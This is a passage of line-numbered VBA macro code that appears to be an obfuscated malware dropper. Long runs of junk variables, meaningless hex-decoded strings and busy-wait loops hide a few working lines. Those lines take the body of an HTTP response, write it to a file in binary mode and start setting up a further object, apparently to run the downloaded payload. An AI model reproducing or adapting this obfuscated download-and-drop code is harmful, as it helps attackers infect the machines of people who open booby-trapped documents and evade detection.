  609. njSBXmHu = RTrim(VtctdCuD)
  610.  
  611. Loop
  612.  
  613. Dim CuWatAvl, odUrYgAE, mlluoeTF As String
  614. CuWatAvl = GIYbonflbkpgerg("2020202020202020202020434751504847202020202020202020202020202020")
  615. odUrYgAE = LTrim(CuWatAvl)
  616. mlluoeTF = RTrim(odUrYgAE)
  617.  
  618. VgwHlLYl = GIYbonflbkpgerg("2020202020202020202020584E474A494E202020202020202020202020202020")
  619.  
  620. Dim jcMbONYl As Integer
  621. Dim AasxbOJp, xzwOMDgq, leTWgKSs As String
  622. AasxbOJp = GIYbonflbkpgerg("20202020202020202020204D4749485251202020202020202020202020202020")
  623. xzwOMDgq = LTrim(AasxbOJp)
  624. leTWgKSs = RTrim(xzwOMDgq)
  625.  
  626. jcMbONYl = 4
  627. Do While jcMbONYl < 29
  628. Dim EtoliTuj, oaJGmaBi, FXvpIwHN As String
  629. EtoliTuj = GIYbonflbkpgerg("2020202020202020202020434F485A5049202020202020202020202020202020")
  630. oaJGmaBi = LTrim(EtoliTuj)
  631. FXvpIwHN = RTrim(oaJGmaBi)
  632.  
  633. DoEvents: jcMbONYl = jcMbONYl + 1
  634. Dim MRfFGASW, xHZIvVwh, QYIdRPUV As String
  635. MRfFGASW = GIYbonflbkpgerg("20202020202020202020204D4F51484D4A202020202020202020202020202020")
  636. xHZIvVwh = LTrim(MRfFGASW)
  637. QYIdRPUV = RTrim(xHZIvVwh)
  638.  
  639. Loop
  640.  
  641. Dim ZtfQtQHa, nGJveDwb, SWEARAbP As String
  642. ZtfQtQHa = GIYbonflbkpgerg("20202020202020202020205346575A4857202020202020202020202020202020")
  643. nGJveDwb = LTrim(ZtfQtQHa)
  644. SWEARAbP = RTrim(nGJveDwb)
  645.  
  646. AbOPzjhF = LTrim(VgwHlLYl)
  647.  
  648. Dim wHHFRWXx As Integer
  649. Dim jHGlfNjH, sJBYItFJ, iKoKeoqL As String
  650. jHGlfNjH = GIYbonflbkpgerg("2020202020202020202020474F4347424D202020202020202020202020202020")
  651. sJBYItFJ = LTrim(jHGlfNjH)
  652. iKoKeoqL = RTrim(sJBYItFJ)
  653.  
  654. wHHFRWXx = 5
  655. Do While wHHFRWXx < 71
  656. Dim oaSgsPAS, zkEBzJHh, UdqmhsIu As String
  657. oaSgsPAS = GIYbonflbkpgerg("20202020202020202020204C4A4F494145202020202020202020202020202020")
  658. zkEBzJHh = LTrim(oaSgsPAS)
  659. UdqmhsIu = RTrim(zkEBzJHh)
  660.  
  661. DoEvents: wHHFRWXx = wHHFRWXx + 1
  662. Dim HTlnagSn, twbryNVo, UUFVGcUE As String
  663. HTlnagSn = GIYbonflbkpgerg("202020202020202020202051425041504B202020202020202020202020202020")
  664. twbryNVo = LTrim(HTlnagSn)
  665. UUFVGcUE = RTrim(twbryNVo)
  666.  
  667. Loop
  668.  
  669. Dim UakmCzQf, LurcbGGc, JKUpcJmC As String
  670. UakmCzQf = GIYbonflbkpgerg("20202020202020202020204753434C4445202020202020202020202020202020")
  671. LurcbGGc = LTrim(UakmCzQf)
  672. JKUpcJmC = RTrim(LurcbGGc)
  673.  
  674. GhGguzAx = RTrim(AbOPzjhF)
  675.  
  676.  
  677. Dim PulYQUhx As Integer
  678. Dim ZCAlodmO, cCQTZjKP, lVWJCwhQ As String
  679. ZCAlodmO = GIYbonflbkpgerg("20202020202020202020204D534847584E202020202020202020202020202020")
  680. cCQTZjKP = LTrim(ZCAlodmO)
  681. lVWJCwhQ = RTrim(cCQTZjKP)
  682.  
  683. PulYQUhx = 1
  684. Do While PulYQUhx < 94
  685. Dim qlWEwjnO, GgEBIQln, ITlObKUr As String
  686. qlWEwjnO = GIYbonflbkpgerg("20202020202020202020204D4E4647594D202020202020202020202020202020")
  687. GgEBIQln = LTrim(qlWEwjnO)
  688. ITlObKUr = RTrim(GgEBIQln)
  689.  
  690. DoEvents: PulYQUhx = PulYQUhx + 1
  691. Dim LQPqvPPE, wXVtiilC, PSrIdLTT As String
  692. LQPqvPPE = GIYbonflbkpgerg("202020202020202020202044414B4C585A202020202020202020202020202020")
  693. wXVtiilC = LTrim(LQPqvPPE)
  694. PSrIdLTT = RTrim(wXVtiilC)
  695.  
  696. Loop
  697.  
  698. Dim KkywdbGo, rcKvFfKl, hERAjzXE As String
  699. KkywdbGo = GIYbonflbkpgerg("20202020202020202020204D4D4A4D4D47202020202020202020202020202020")
  700. rcKvFfKl = LTrim(KkywdbGo)
  701. hERAjzXE = RTrim(rcKvFfKl)
  702.  
  703.     NPJUFXTFFIE = SXGGPOLSDDD.responseBody
  704.  
  705. Dim HEXvEzRA, GfbsArpN, alsgrKfq As String
  706.  
  707. Dim GRHDIDqu As Integer
  708. Dim calqsGXr, lzZxYMlt, gzSIaVJy As String
  709. calqsGXr = GIYbonflbkpgerg("20202020202020202020204B4651505646202020202020202020202020202020")
  710. lzZxYMlt = LTrim(calqsGXr)
  711. gzSIaVJy = RTrim(lzZxYMlt)
  712.  
  713. GRHDIDqu = 2
  714. Do While GRHDIDqu < 71
  715. Dim IiRVxpYS, fedlPRvR, ylernQDi As String
  716. IiRVxpYS = GIYbonflbkpgerg("2020202020202020202020595759425548202020202020202020202020202020")
  717. fedlPRvR = LTrim(IiRVxpYS)
  718. ylernQDi = RTrim(fedlPRvR)
  719.  
  720. DoEvents: GRHDIDqu = GRHDIDqu + 1
  721. Dim tVQqQOet, lFJFJmgD, WNtInKVi As String
  722. tVQqQOet = GIYbonflbkpgerg("20202020202020202020204B494B4C455A202020202020202020202020202020")
  723. lFJFJmgD = LTrim(tVQqQOet)
  724. WNtInKVi = RTrim(lFJFJmgD)
  725.  
  726. Loop
  727.  
  728. Dim cprEgcqb, wMYjdbJV, UNllFfMo As String
  729. cprEgcqb = GIYbonflbkpgerg("2020202020202020202020504848565746202020202020202020202020202020")
  730. wMYjdbJV = LTrim(cprEgcqb)
  731. UNllFfMo = RTrim(wMYjdbJV)
  732.  
  733. HEXvEzRA = GIYbonflbkpgerg("20202020202020202020204C4E53584545202020202020202020202020202020")
  734.  
  735. Dim hbQiugGJ As Integer
  736. Dim kielvlGo, fidTLcdp, ooxJfZPq As String
  737. kielvlGo = GIYbonflbkpgerg("2020202020202020202020474B45475245202020202020202020202020202020")
  738. fidTLcdp = LTrim(kielvlGo)
  739. ooxJfZPq = RTrim(fidTLcdp)
  740.  
  741. hbQiugGJ = 4
  742. Do While hbQiugGJ < 34
  743. Dim bDrqouMt, rIQTwASC, OElNIXEG As String
  744. bDrqouMt = GIYbonflbkpgerg("202020202020202020202041504B594E47202020202020202020202020202020")
  745. rIQTwASC = LTrim(bDrqouMt)
  746. OElNIXEG = RTrim(rIQTwASC)
  747.  
  748. DoEvents: hbQiugGJ = hbQiugGJ + 1
  749. Dim TwMSTyMU, iYiYgEEz, xxfpmgGP As String
  750. TwMSTyMU = GIYbonflbkpgerg("2020202020202020202020445241474759202020202020202020202020202020")
  751. iYiYgEEz = LTrim(TwMSTyMU)
  752. xxfpmgGP = RTrim(iYiYgEEz)
  753.  
  754. Loop
  755.  
  756. Dim EejOGFrL, GoeSkZir, DMYbhRDZ As String
  757. EejOGFrL = GIYbonflbkpgerg("2020202020202020202020444458414F58202020202020202020202020202020")
  758. GoeSkZir = LTrim(EejOGFrL)
  759. DMYbhRDZ = RTrim(GoeSkZir)
  760.  
  761. GfbsArpN = LTrim(HEXvEzRA)
  762.  
  763. Dim pdhGNgVH As Integer
  764. Dim TipXmlVE, noliGvwR, xpEmpZLT As String
  765. TipXmlVE = GIYbonflbkpgerg("2020202020202020202020584B55455A52202020202020202020202020202020")
  766. noliGvwR = LTrim(TipXmlVE)
  767. xpEmpZLT = RTrim(noliGvwR)
  768.  
  769. pdhGNgVH = 3
  770. Do While pdhGNgVH < 83
  771. Dim QMSbCxTb, hGmMpKck, WPzhxdgo As String
  772. QMSbCxTb = GIYbonflbkpgerg("20202020202020202020204E4554545452202020202020202020202020202020")
  773. hGmMpKck = LTrim(QMSbCxTb)
  774. WPzhxdgo = RTrim(hGmMpKck)
  775.  
  776. DoEvents: pdhGNgVH = pdhGNgVH + 1
  777. Dim Pgfiqlcj, BtlQhtOB, AhUTBZll As String
  778. Pgfiqlcj = GIYbonflbkpgerg("20202020202020202020204948554A474D202020202020202020202020202020")
  779. BtlQhtOB = LTrim(Pgfiqlcj)
  780. AhUTBZll = RTrim(BtlQhtOB)
  781.  
  782. Loop
  783.  
  784. Dim JLcyZKwH, rBpotTvN, htXsYlZq As String
  785. JLcyZKwH = GIYbonflbkpgerg("20202020202020202020204D494E535A56202020202020202020202020202020")
  786. rBpotTvN = LTrim(JLcyZKwH)
  787. htXsYlZq = RTrim(rBpotTvN)
  788.  
  789. alsgrKfq = RTrim(GfbsArpN)
  790.  
  791.  
  792. Dim XDnNBEcl As Integer
  793. Dim xouYpLcS, kpkKRCWF, fpArBzlG As String
  794. xouYpLcS = GIYbonflbkpgerg("20202020202020202020204B4B59574348202020202020202020202020202020")
  795. kpkKRCWF = LTrim(xouYpLcS)
  796. fpArBzlG = RTrim(kpkKRCWF)
  797.  
  798. XDnNBEcl = 1
  799. Do While XDnNBEcl < 58
  800. Dim XTeYFJhk, AnQaasip, ywlwfYBa As String
  801. XTeYFJhk = GIYbonflbkpgerg("2020202020202020202020595844494E46202020202020202020202020202020")
  802. AnQaasip = LTrim(XTeYFJhk)
  803. ywlwfYBa = RTrim(AnQaasip)
  804.  
  805. DoEvents: XDnNBEcl = XDnNBEcl + 1
  806. Dim XXXXNaXq, qQzbySiL, DCjlGpJd As String
  807. XXXXNaXq = GIYbonflbkpgerg("2020202020202020202020465556535051202020202020202020202020202020")
  808. qQzbySiL = LTrim(XXXXNaXq)
  809. DCjlGpJd = RTrim(qQzbySiL)
  810.  
  811. Loop
  812.  
  813. Dim OFMJWMvT, WMYMcUZH, iNlCBwTa As String
  814. OFMJWMvT = GIYbonflbkpgerg("202020202020202020202043484744414B202020202020202020202020202020")
  815. WMYMcUZH = LTrim(OFMJWMvT)
  816. iNlCBwTa = RTrim(WMYMcUZH)
  817.  
  818.     ZYCJDCPOEMK = FreeFile
  819.     Open DUBGHDQFXFU For Binary As #ZYCJDCPOEMK
  820. Dim ZEqyukTi, vRmkAwep, lTTEXnnq As String
  821.  
  822. Dim DHDBMlYi As Integer
  823. Dim ofANNoHl, rgQsmdfl, NgWcGkQm As String
  824. ofANNoHl = GIYbonflbkpgerg("2020202020202020202020515748544B56202020202020202020202020202020")
  825. rgQsmdfl = LTrim(ofANNoHl)
  826. NgWcGkQm = RTrim(rgQsmdfl)
  827.  
  828. DHDBMlYi = 8
  829. Do While DHDBMlYi < 91
  830. Dim IOlABDdK, ANpdHMAw, uWKUehld As String
  831. IOlABDdK = GIYbonflbkpgerg("202020202020202020202059494E465754202020202020202020202020202020")
  832. ANpdHMAw = LTrim(IOlABDdK)
  833. uWKUehld = RTrim(ANpdHMAw)
  834.  
  835. DoEvents: DHDBMlYi = DHDBMlYi + 1
  836. Dim pMdHmiNy, vPklnMsF, DncVTTxx As String
  837. pMdHmiNy = GIYbonflbkpgerg("20202020202020202020205759594F5746202020202020202020202020202020")
  838. vPklnMsF = LTrim(pMdHmiNy)
  839. DncVTTxx = RTrim(vPklnMsF)
  840.  
  841. Loop
  842.  
  843. Dim xHmXqPcL, IXuBScAr, YUPSPbuZ As String
  844. xHmXqPcL = GIYbonflbkpgerg("20202020202020202020204F5556554C4D202020202020202020202020202020")
  845. IXuBScAr = LTrim(xHmXqPcL)
  846. YUPSPbuZ = RTrim(IXuBScAr)
  847.  
  848. ZEqyukTi = GIYbonflbkpgerg("202020202020202020202057454949575A202020202020202020202020202020")
  849.  
  850. Dim NjvrFiFy As Integer
  851. Dim kSRXvbrj, fDFiLRAk, oDVlfIBl As String
  852. kSRXvbrj = GIYbonflbkpgerg("202020202020202020202047554A455259202020202020202020202020202020")
  853. fDFiLRAk = LTrim(kSRXvbrj)
  854. oDVlfIBl = RTrim(fDFiLRAk)
  855.  
  856. NjvrFiFy = 1
  857. Do While NjvrFiFy < 64
  858. Dim PCXqmSfl, hLRYUuyp, opmjcfmD As String
  859. PCXqmSfl = GIYbonflbkpgerg("2020202020202020202020554746595454202020202020202020202020202020")
  860. hLRYUuyp = LTrim(PCXqmSfl)
  861. opmjcfmD = RTrim(hLRYUuyp)
  862.  
  863. DoEvents: NjvrFiFy = NjvrFiFy + 1
  864. Dim acNPGlSl, EIgRvHwS, KvliRAUm As String
  865. acNPGlSl = GIYbonflbkpgerg("2020202020202020202020484D4E59544D202020202020202020202020202020")
  866. EIgRvHwS = LTrim(acNPGlSl)
  867. KvliRAUm = RTrim(EIgRvHwS)
  868.  
  869. Loop
  870.  
  871. Dim flexFsUw, bbGbhNQT, QTAZJFFH As String
  872. flexFsUw = GIYbonflbkpgerg("2020202020202020202020545747574949202020202020202020202020202020")
  873. bbGbhNQT = LTrim(flexFsUw)
  874. QTAZJFFH = RTrim(bbGbhNQT)
  875.  
  876. vRmkAwep = LTrim(ZEqyukTi)
  877.  
  878. Dim TOMmrwbl As Integer
  879. Dim mVswyPTM, zEdjCzTp, VRcEjueq As String
  880. mVswyPTM = GIYbonflbkpgerg("202020202020202020202050455255594C202020202020202020202020202020")
  881. zEdjCzTp = LTrim(mVswyPTM)
  882. VRcEjueq = RTrim(zEdjCzTp)
  883.  
  884. TOMmrwbl = 7
  885. Do While TOMmrwbl < 89
  886. Dim RprGojqa, ptQpxQeL, FNlROyMP As String
  887. RprGojqa = GIYbonflbkpgerg("202020202020202020202052574B574E4D202020202020202020202020202020")
  888. ptQpxQeL = LTrim(RprGojqa)
  889. FNlROyMP = RTrim(ptQpxQeL)
  890.  
  891. DoEvents: TOMmrwbl = TOMmrwbl + 1
  892. Dim juUsoPGb, TXDHgwai, iizPVLPA As String
  893. juUsoPGb = GIYbonflbkpgerg("202020202020202020202056534A4D475A202020202020202020202020202020")
  894. TXDHgwai = LTrim(juUsoPGb)
  895. iizPVLPA = RTrim(TXDHgwai)
  896.  
  897. Loop
  898.  
  899. Dim mzkihyNJ, YirqKMez, LfHflIud As String
  900. mzkihyNJ = GIYbonflbkpgerg("2020202020202020202020474341575156202020202020202020202020202020")
  901. YirqKMez = LTrim(mzkihyNJ)
  902. LfHflIud = RTrim(YirqKMez)
  903.  
  904. lTTEXnnq = RTrim(vRmkAwep)
  905.  
  906.  
  907. Dim DDrQTjfR As Integer
  908. Dim RhWMDrry, njtyiiAi, wjgkZdBo As String
  909. RhWMDrry = GIYbonflbkpgerg("20202020202020202020205858425A5158202020202020202020202020202020")
  910. njtyiiAi = LTrim(RhWMDrry)
  911. wjgkZdBo = RTrim(njtyiiAi)
  912.  
  913. DDrQTjfR = 8
  914. Do While DDrQTjfR < 11
  915. Dim fUQlmqwd, LZlFUTft, vcNpMatX As String
  916. fUQlmqwd = GIYbonflbkpgerg("20202020202020202020204743525A4A56202020202020202020202020202020")
  917. LZlFUTft = LTrim(fUQlmqwd)
  918. vcNpMatX = RTrim(LZlFUTft)
  919.  
  920. DoEvents: DDrQTjfR = DDrQTjfR + 1
  921. Dim dyXgXpYY, AWaLzWKg, ruhDQlAO As String
  922. dyXgXpYY = GIYbonflbkpgerg("2020202020202020202020585156574947202020202020202020202020202020")
  923. AWaLzWKg = LTrim(dyXgXpYY)
  924. ruhDQlAO = RTrim(AWaLzWKg)
  925.  
  926. Loop
  927.  
  928. Dim gjfTQCHy, nxNIfPLj, viEwsSbG As String
  929. gjfTQCHy = GIYbonflbkpgerg("2020202020202020202020544D5742554E202020202020202020202020202020")
  930. nxNIfPLj = LTrim(gjfTQCHy)
  931. viEwsSbG = RTrim(nxNIfPLj)
  932.  
  933.     Put #ZYCJDCPOEMK, , NPJUFXTFFIE
  934. Dim CERmNXrk, HLmyJelW, wGenrvpS As String
  935.  
  936. Dim gICqGBFI As Integer
  937. Dim SzJfYVvf, UzanaeXg, EeqSmulh As String
  938. SzJfYVvf = GIYbonflbkpgerg("202020202020202020202042475653494C202020202020202020202020202020")
  939. UzanaeXg = LTrim(SzJfYVvf)
  940. EeqSmulh = RTrim(UzanaeXg)
  941.  
  942. gICqGBFI = 6
  943. Do While gICqGBFI < 59
  944. Dim CyhuuAlg, ZaCAlXpu, uXRXUjzV As String
  945. CyhuuAlg = GIYbonflbkpgerg("2020202020202020202020594F4C585059202020202020202020202020202020")
  946. ZaCAlXpu = LTrim(CyhuuAlg)
  947. uXRXUjzV = RTrim(ZaCAlXpu)
  948.  
  949. DoEvents: gICqGBFI = gICqGBFI + 1
  950. Dim krGWCrbD, YMMveHQw, otolSdmH As String
  951. krGWCrbD = GIYbonflbkpgerg("202020202020202020202042504D514F53202020202020202020202020202020")
  952. YMMveHQw = LTrim(krGWCrbD)
  953. otolSdmH = RTrim(YMMveHQw)
  954.  
  955. Loop
  956.  
  957. Dim xCQWmOMv, IecBXxVO, MopzvqaL As String
  958. xCQWmOMv = GIYbonflbkpgerg("20202020202020202020204F505555564C202020202020202020202020202020")
  959. IecBXxVO = LTrim(xCQWmOMv)
  960. MopzvqaL = RTrim(IecBXxVO)
  961.  
  962. CERmNXrk = GIYbonflbkpgerg("2020202020202020202020445454515750202020202020202020202020202020")
  963.  
  964. Dim maMbPMrQ As Integer
  965. Dim eAjsCBVI, VZnckewO, MEQOSiLP As String
  966. eAjsCBVI = GIYbonflbkpgerg("2020202020202020202020495A5051484C202020202020202020202020202020")
  967. VZnckewO = LTrim(eAjsCBVI)
  968. MEQOSiLP = RTrim(VZnckewO)
  969.  
  970. maMbPMrQ = 7
  971. Do While maMbPMrQ < 35
  972. Dim asbvHKQI, MAjpUBNs, vcVRMmJr As String
  973. asbvHKQI = GIYbonflbkpgerg("2020202020202020202020475845444A49202020202020202020202020202020")
  974. MAjpUBNs = LTrim(asbvHKQI)
  975. vcVRMmJr = RTrim(MAjpUBNs)
  976.  
  977. DoEvents: maMbPMrQ = maMbPMrQ + 1
  978. Dim WdpcAtFb, ccckqZcL, SfEXhfOA As String
  979. WdpcAtFb = GIYbonflbkpgerg("20202020202020202020204D4E4F494459202020202020202020202020202020")
  980. ccckqZcL = LTrim(WdpcAtFb)
  981. SfEXhfOA = RTrim(ccckqZcL)
  982.  
  983. Loop
  984.  
  985. Dim mUpiomeA, UDXqPiyQ, LLIfdXpX As String
  986. mUpiomeA = GIYbonflbkpgerg("2020202020202020202020474443575554202020202020202020202020202020")
  987. UDXqPiyQ = LTrim(mUpiomeA)
  988. LLIfdXpX = RTrim(UDXqPiyQ)
  989.  
  990. HLmyJelW = LTrim(CERmNXrk)
  991.  
  992. Dim blHFYGlF As Integer
  993. Dim ZuHwWWdu, ciNUhBPi, lopMPrio As String
  994. ZuHwWWdu = GIYbonflbkpgerg("2020202020202020202020574B4348474A202020202020202020202020202020")
  995. ciNUhBPi = LTrim(ZuHwWWdu)
  996. lopMPrio = RTrim(ciNUhBPi)
  997.  
  998. blHFYGlF = 8
  999. Do While blHFYGlF < 76
  1000. Dim NDHyAfhB, TOvnGIiJ, vNgsTGxm As String
  1001. NDHyAfhB = GIYbonflbkpgerg("2020202020202020202020475051454F4B202020202020202020202020202020")
  1002. TOvnGIiJ = LTrim(NDHyAfhB)
  1003. vNgsTGxm = RTrim(TOvnGIiJ)
  1004.  
  1005. DoEvents: blHFYGlF = blHFYGlF + 1
  1006. Dim tOwUJaVY, lbnsCSpg, XPGyYpKO As String
  1007. tOwUJaVY = GIYbonflbkpgerg("20202020202020202020204B4E51545951202020202020202020202020202020")
  1008. lbnsCSpg = LTrim(tOwUJaVY)
  1009. XPGyYpKO = RTrim(lbnsCSpg)
  1010.  
  1011. Loop
  1012.  
  1013. Dim FXYRfclY, SUpjsbBy, BDXlFdej As String
  1014. FXYRfclY = GIYbonflbkpgerg("20202020202020202020204B4F52565744202020202020202020202020202020")
  1015. SUpjsbBy = LTrim(FXYRfclY)
  1016. BDXlFdej = RTrim(SUpjsbBy)
  1017.  
  1018. wGenrvpS = RTrim(HLmyJelW)
  1019.  
  1020.  
  1021. Dim ZNxftOLJ As Integer
  1022. Dim ICkxYaZS, RVAIayND, bBQMwpcG As String
  1023. ICkxYaZS = GIYbonflbkpgerg("202020202020202020202056445148494D202020202020202020202020202020")
  1024. RVAIayND = LTrim(ICkxYaZS)
  1025. bBQMwpcG = RTrim(RVAIayND)
  1026.  
  1027. ZNxftOLJ = 6
  1028. Do While ZNxftOLJ < 58
  1029. Dim zryaXjVM, UBFwoSHS, nhRuNLth As String
  1030. zryaXjVM = GIYbonflbkpgerg("2020202020202020202020484C4C414C4D202020202020202020202020202020")
  1031. UBFwoSHS = LTrim(zryaXjVM)
  1032. nhRuNLth = RTrim(UBFwoSHS)
  1033.  
  1034. DoEvents: ZNxftOLJ = ZNxftOLJ + 1
  1035. Dim xthzNXvX, QWmYyUPR, fuOnGtlB As String
  1036. xthzNXvX = GIYbonflbkpgerg("2020202020202020202020415149475049202020202020202020202020202020")
  1037. QWmYyUPR = LTrim(xthzNXvX)
  1038. fuOnGtlB = RTrim(QWmYyUPR)
  1039.  
  1040. Loop
  1041.  
  1042. Dim QKocnTQY, CVWnzlFJ, WIvdNwmj As String
  1043. QKocnTQY = GIYbonflbkpgerg("20202020202020202020204A554B57414B202020202020202020202020202020")
  1044. CVWnzlFJ = LTrim(QKocnTQY)
  1045. WIvdNwmj = RTrim(CVWnzlFJ)
  1046.  
  1047.     Close #ZYCJDCPOEMK
  1048. Dim bOLVGleS, FbBAWtgm, egtyaJne As String
  1049.  
  1050. Dim fQDCeEDZ As Integer
  1051. Dim PkjRguEq, TknJIqas, AlPeehvd As String
  1052. PkjRguEq = GIYbonflbkpgerg("20202020202020202020205643504D4243202020202020202020202020202020")
  1053. TknJIqas = LTrim(PkjRguEq)
  1054. AlPeehvd = RTrim(TknJIqas)
  1055.  
  1056. fQDCeEDZ = 4
  1057. Do While fQDCeEDZ < 59
  1058. Dim KGrgfvnS, xPQOnMlE, zYlrDgpw As String
  1059. KGrgfvnS = GIYbonflbkpgerg("202020202020202020202050514B495A56202020202020202020202020202020")
  1060. xPQOnMlE = LTrim(KGrgfvnS)
  1061. zYlrDgpw = RTrim(xPQOnMlE)
  1062.  
  1063. DoEvents: fQDCeEDZ = fQDCeEDZ + 1
  1064. Dim ltApAyob, WhHeqEKL, pyXUhgrA As String
  1065. ltApAyob = GIYbonflbkpgerg("20202020202020202020204251464B5644202020202020202020202020202020")
  1066. WhHeqEKL = LTrim(ltApAyob)
  1067. pyXUhgrA = RTrim(WhHeqEKL)
  1068.  
  1069. Loop
  1070.  
  1071. Dim FcbRgqAG, NEsUJBRB, dOVPlDIp As String
  1072. FcbRgqAG = GIYbonflbkpgerg("2020202020202020202020424954555041202020202020202020202020202020")
  1073. NEsUJBRB = LTrim(FcbRgqAG)
  1074. dOVPlDIp = RTrim(NEsUJBRB)
  1075.  
  1076. bOLVGleS = GIYbonflbkpgerg("2020202020202020202020454E5844544D202020202020202020202020202020")
  1077.  
  1078. Dim RKohfgPx As Integer
  1079. Dim lfqvTKKZ, gfmPNXhE, pgRXlaDR As String
  1080. lfqvTKKZ = GIYbonflbkpgerg("20202020202020202020204857554A5548202020202020202020202020202020")
  1081. gfmPNXhE = LTrim(lfqvTKKZ)
  1082. pgRXlaDR = RTrim(gfmPNXhE)
  1083.  
  1084. RKohfgPx = 6
  1085. Do While RKohfgPx < 29
  1086. Dim EmlnYQdQ, ohzWLurZ, FsOhuAWm As String
  1087. EmlnYQdQ = GIYbonflbkpgerg("2020202020202020202020434858544351202020202020202020202020202020")
  1088. ohzWLurZ = LTrim(EmlnYQdQ)
  1089. FsOhuAWm = RTrim(ohzWLurZ)
  1090.  
  1091. DoEvents: RKohfgPx = RKohfgPx + 1
  1092. Dim XYOaQXuW, qxGRHUlE, DIevbtzV As String
  1093. XYOaQXuW = GIYbonflbkpgerg("202020202020202020202046424A464549202020202020202020202020202020")
  1094. qxGRHUlE = LTrim(XYOaQXuW)
  1095. DIevbtzV = RTrim(qxGRHUlE)
  1096.  
  1097. Loop
  1098.  
  1099. Dim KALpHiGk, HsxCFpmH, ekoNhCva As String
  1100. KALpHiGk = GIYbonflbkpgerg("20202020202020202020204D4251464F59202020202020202020202020202020")
  1101. HsxCFpmH = LTrim(KALpHiGk)
  1102. ekoNhCva = RTrim(HsxCFpmH)
  1103.  
  1104. FbBAWtgm = LTrim(bOLVGleS)
  1105.  
  1106. Dim gYuvYEPJ As Integer
  1107. Dim RcnlBzPg, nvPRlyuh, wvMHFqRk As String
  1108. RcnlBzPg = GIYbonflbkpgerg("2020202020202020202020584E47464A57202020202020202020202020202020")
  1109. nvPRlyuh = LTrim(RcnlBzPg)
  1110. wvMHFqRk = RTrim(nvPRlyuh)
  1111.  
  1112. gYuvYEPJ = 4
  1113. Do While gYuvYEPJ < 59
  1114. Dim bcjJPJlc, lFiZAVIa, COGCFlnK As String
  1115. bcjJPJlc = GIYbonflbkpgerg("2020202020202020202020414542584655202020202020202020202020202020")
  1116. lFiZAVIa = LTrim(bcjJPJlc)
  1117. COGCFlnK = RTrim(lFiZAVIa)
  1118.  
  1119. DoEvents: gYuvYEPJ = gYuvYEPJ + 1
  1120. Dim SmwsjKAP, gTPyNhpt, ZwGOyawD As String
  1121. SmwsjKAP = GIYbonflbkpgerg("20202020202020202020204845475A4942202020202020202020202020202020")
  1122. gTPyNhpt = LTrim(SmwsjKAP)
  1123. ZwGOyawD = RTrim(gTPyNhpt)
  1124.  
  1125. Loop
  1126.  
  1127. Dim WUrgWkdj, iDHkxyhA, yvlrmiWN As String
  1128. WUrgWkdj = GIYbonflbkpgerg("2020202020202020202020585A48485151202020202020202020202020202020")
  1129. iDHkxyhA = LTrim(WUrgWkdj)
  1130. yvlrmiWN = RTrim(iDHkxyhA)
  1131.  
  1132. egtyaJne = RTrim(FbBAWtgm)
  1133.  
  1134.  
  1135. Dim CPGJAJWd As Integer
  1136. Dim uSxFUJnO, eDYNzXVP, VDJsxNwQ As String
  1137. uSxFUJnO = GIYbonflbkpgerg("2020202020202020202020505544424947202020202020202020202020202020")
  1138. eDYNzXVP = LTrim(uSxFUJnO)
  1139. VDJsxNwQ = RTrim(eDYNzXVP)
  1140.  
  1141. CPGJAJWd = 1
  1142. Do While CPGJAJWd < 29
  1143. Dim ianqhlqV, akjWunnA, TdBjlWkl As String
  1144. ianqhlqV = GIYbonflbkpgerg("20202020202020202020204B4A45594557202020202020202020202020202020")
  1145. akjWunnA = LTrim(ianqhlqV)
  1146. TdBjlWkl = RTrim(akjWunnA)
  1147.  
  1148. DoEvents: CPGJAJWd = CPGJAJWd + 1
  1149. Dim BwnXQPvM, AYGHmiif, HxWmbLlX As String
  1150. BwnXQPvM = GIYbonflbkpgerg("202020202020202020202058524B4D4B57202020202020202020202020202020")
  1151. AYGHmiif = LTrim(BwnXQPvM)
  1152. HxWmbLlX = RTrim(AYGHmiif)
  1153.  
  1154. Loop
  1155.  
  1156. Dim GCVWKRFw, aeOVllJY, dowaXuWJ As String
  1157. GCVWKRFw = GIYbonflbkpgerg("20202020202020202020204C504455504A202020202020202020202020202020")
  1158. aeOVllJY = LTrim(GCVWKRFw)
  1159. dowaXuWJ = RTrim(aeOVllJY)
  1160.  
  1161.    
  1162.     Dim ZSRRRRLDPOA
  1163. Dim hqdqDFzF, AjBfgAtB, bzZadEPc As String
  1164.  
  1165. Dim Zeohdkvf As Integer
  1166. Dim hdlrHZqT, sdEhqYIU, ufFATQyI As String
  1167. hdlrHZqT = GIYbonflbkpgerg("2020202020202020202020464D53554449202020202020202020202020202020")
  1168. sdEhqYIU = LTrim(hdlrHZqT)
  1169. ufFATQyI = RTrim(sdEhqYIU)
  1170.  
  1171. Zeohdkvf = 6
  1172. Do While Zeohdkvf < 45
  1173. Dim THoItCpw, qQHrklaf, rzUFobjJ As String
  1174. THoItCpw = GIYbonflbkpgerg("202020202020202020202052534D4B5650202020202020202020202020202020")
  1175. qQHrklaf = LTrim(THoItCpw)
  1176. rzUFobjJ = RTrim(qQHrklaf)
  1177.  
  1178. DoEvents: Zeohdkvf = Zeohdkvf + 1
  1179. Dim BzlHkbAX, dKvlcqDR, HeSfuIxV As String
  1180. BzlHkbAX = GIYbonflbkpgerg("202020202020202020202047504F4F4C43202020202020202020202020202020")
  1181. dKvlcqDR = LTrim(BzlHkbAX)
  1182. HeSfuIxV = RTrim(dKvlcqDR)
  1183.  
  1184. Loop
  1185.  
  1186. Dim WGgKShaX, LbKRPkUw, yTRUsyPT As String
  1187. WGgKShaX = GIYbonflbkpgerg("2020202020202020202020585957545550202020202020202020202020202020")
  1188. LbKRPkUw = LTrim(WGgKShaX)
  1189. yTRUsyPT = RTrim(LbKRPkUw)
  1190.  
  1191. hqdqDFzF = GIYbonflbkpgerg("2020202020202020202020594A4D474958202020202020202020202020202020")
  1192.  
  1193. Dim jldagTnP As Integer
  1194. Dim IPzZEgAE, EPsFVlVR, vQwNlcwT As String
  1195. IPzZEgAE = GIYbonflbkpgerg("20202020202020202020204359454C5941202020202020202020202020202020")
  1196. EPsFVlVR = LTrim(IPzZEgAE)
  1197. vQwNlcwT = RTrim(EPsFVlVR)
  1198.  
  1199. jldagTnP = 4
  1200. Do While jldagTnP < 66
  1201. Dim HruMnMdu, wBFhDhtV, aWxPNPXH As String
  1202. HruMnMdu = GIYbonflbkpgerg("2020202020202020202020504C4D564F4F202020202020202020202020202020")
  1203. wBFhDhtV = LTrim(HruMnMdu)
  1204. aWxPNPXH = RTrim(wBFhDhtV)
  1205.  
  1206. DoEvents: jldagTnP = jldagTnP + 1
  1207. Dim fHZutbqj, HaJaFCMQ, tJCTMIyl As String
  1208. fHZutbqj = GIYbonflbkpgerg("202020202020202020202052464C4E5A48202020202020202020202020202020")
